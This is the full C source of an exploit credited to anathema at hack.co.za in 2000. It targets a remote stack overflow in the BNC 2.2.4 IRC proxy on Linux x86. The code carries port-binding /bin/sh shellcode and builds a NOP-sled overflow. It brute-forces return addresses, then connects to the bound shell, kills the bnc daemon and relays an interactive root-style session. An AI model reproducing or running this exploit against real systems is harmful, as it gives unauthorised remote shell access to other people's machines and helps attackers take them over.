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- /*
- * bncex.c - Linux x86 remote BNC 2.2.4 stack overflow
- *
- * Notes:
- * Because of the wide variations in offsets between typical vulnerable
- * hosts, this code will brute-force the offset for you (within the range
- * delineated by the MIN_ADDRESS and MAX_OFFSET #define's).
- *
- * Usage:
- *
- * ./bnc bnc.server.com
- * Uses a destination port of 6668 (bnc's default)
- * ./bnc bnc.server.com 242
- * Uses a destination port of 242
- *
- * anathema <anathema@hack.co.za>
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <string.h>
- #include <errno.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/time.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <netdb.h>
-
- #define DEFAULT_BNC_PORT 6668
- #define MIN_ADDRESS 0xbffff450
- #define MAX_OFFSET 0x950
- #define STEP 100
- #define RETPOS 1036
- #define BD_PRT 36864
- #define DELAY 2
-
- char c0de[] = /* portshell shellcode, 128 bytes (tcp/36864) */
- "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c\x40\x89\x46\x08\x8d"
- "\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29"
- "\xc0\x89\xc2\x89\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c\x8d"
- "\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66\xcd\x80\x89\x56\x0c\x89"
- "\x56\x10\xb0\x66\x43\xcd\x80\x86\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd"
- "\x80\xb0\x3f\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c\xb0\x0b"
- "\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";
-
- u_long
- resolve_host(u_char *host_name)
- {
- struct in_addr addr;
- struct hostent *host_ent;
-
- if ((addr.s_addr = inet_addr(host_name)) == -1)
- {
- host_ent = gethostbyname(host_name);
- if (!host_ent) return((u_long)0);
- memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
- }
-
- return(addr.s_addr);
- }
-
- void
- backdoor_connect(u_long dst_ip)
- {
- struct sockaddr_in sin;
- u_char tmp[8192] = {0};
- fd_set fds;
- int sock;
-
- sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sock == -1)
- {
- perror("socket allocation");
- exit(-1);
- }
-
- sin.sin_family = AF_INET;
- sin.sin_port = htons(BD_PRT);
- sin.sin_addr.s_addr = dst_ip;
-
- if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
- {
- if (errno == ECONNREFUSED) return;
- perror("connect");
- exit(-1);
- }
-
- fprintf(stderr, "owned!\n\n");
-
- write(sock, "killall -9 bnc; cd /; uname -a; id;\n", 36);
- for (;;)
- {
- FD_ZERO(&fds);
- FD_SET(0, &fds);
- FD_SET(sock, &fds);
-
- if ((select(0xff, &fds, NULL, NULL, NULL)) == -1)
- {
- perror("select");
- exit(-1);
- }
-
- memset(tmp, 0, sizeof(tmp));
-
- if (FD_ISSET(sock, &fds))
- {
- if (recv(sock, tmp, sizeof(tmp) - 1, 0) == -1)
- {
- fprintf(stderr, "Connection closed by foreign host.\n");
- close(sock);
- exit(0);
- }
-
- fprintf(stderr, "%s", tmp);
- }
-
- if (FD_ISSET(0, &fds))
- {
- read(0, tmp, sizeof(tmp)-1);
- write(sock, tmp, strlen(tmp));
- }
- }
-
- /* NOTREACHED */
- }
-
- void
- exploit(u_long dst_ip, u_short dst_prt, u_long addr)
- {
- struct sockaddr_in sin;
- u_char buf[4096] = {0};
- int ret = RETPOS, i = 0, sock;
-
- sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sock == -1)
- {
- perror("\nsocket allocation");
- exit(-1);
- }
-
- sin.sin_family = AF_INET;
- sin.sin_port = htons(dst_prt);
- sin.sin_addr.s_addr = dst_ip;
-
- if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
- {
- perror("failed ");
- exit(-1);
- }
-
- memset(buf, 0x90, ret - strlen(c0de));
- memcpy(buf + ret - strlen(c0de), c0de, strlen(c0de));
-
- buf[ret++] = (addr & 0xff);
- buf[ret++] = (addr >> 8) & 0xff;
- buf[ret++] = (addr >> 16) & 0xff;
- buf[ret++] = (addr >> 24) & 0xff;
-
- if (write(sock, buf, strlen(buf)) != strlen(buf))
- {
- fprintf(stderr, "\nerr: truncated write()\n");
- exit(-1);
- }
-
- fprintf(stderr, "waiting.. ");
- sleep(DELAY);
-
- close(sock);
- backdoor_connect(dst_ip);
- fprintf(stderr, "no.\n");
- }
-
- int
- main(int argc, char **argv)
- {
- u_long dst_ip = 0;
- u_long addr = 0;
- u_short dst_prt = DEFAULT_BNC_PORT;
- u_int offset = 0;
- u_int i = 0;
-
- fprintf(stderr, "BNC automated brute-forcing exploit code\n"
- "Copyright (c) anathema <anathema@hack.co.za>\n");
-
- if (argc != 2 && argc != 3)
- {
- fprintf(stderr, "\nusage:\t%s dst_host|ip [dst_prt]\n", argv[0]);
- exit(-1);
- }
-
- dst_ip = resolve_host(argv[1]);
- if (argc > 2) dst_prt = (u_short)atoi(argv[2]);
- if (!dst_ip)
- {
- fprintf(stderr, "What kind of address is this: `%s`\n", argv[1]);
- exit(-1);
- }
-
- fprintf(stderr, "\nBruteforcing from 0x%lx to 0x%lx "
- "step %d\n", MIN_ADDRESS, MIN_ADDRESS + MAX_OFFSET, STEP);
-
- for (i = 0; i < MAX_OFFSET; i += STEP)
- {
- addr = MIN_ADDRESS + i;
-
- fprintf(stderr, "Attempting to exploit with address"
- " 0x%lx.. ", addr);
- exploit(dst_ip, dst_prt, addr);
- }
-
- fprintf(stderr, "\nCouldn't exploit host `%s`.\n", argv[1]);
- exit(0);
- }
-
-
- /* www.hack.co.za [2000]*/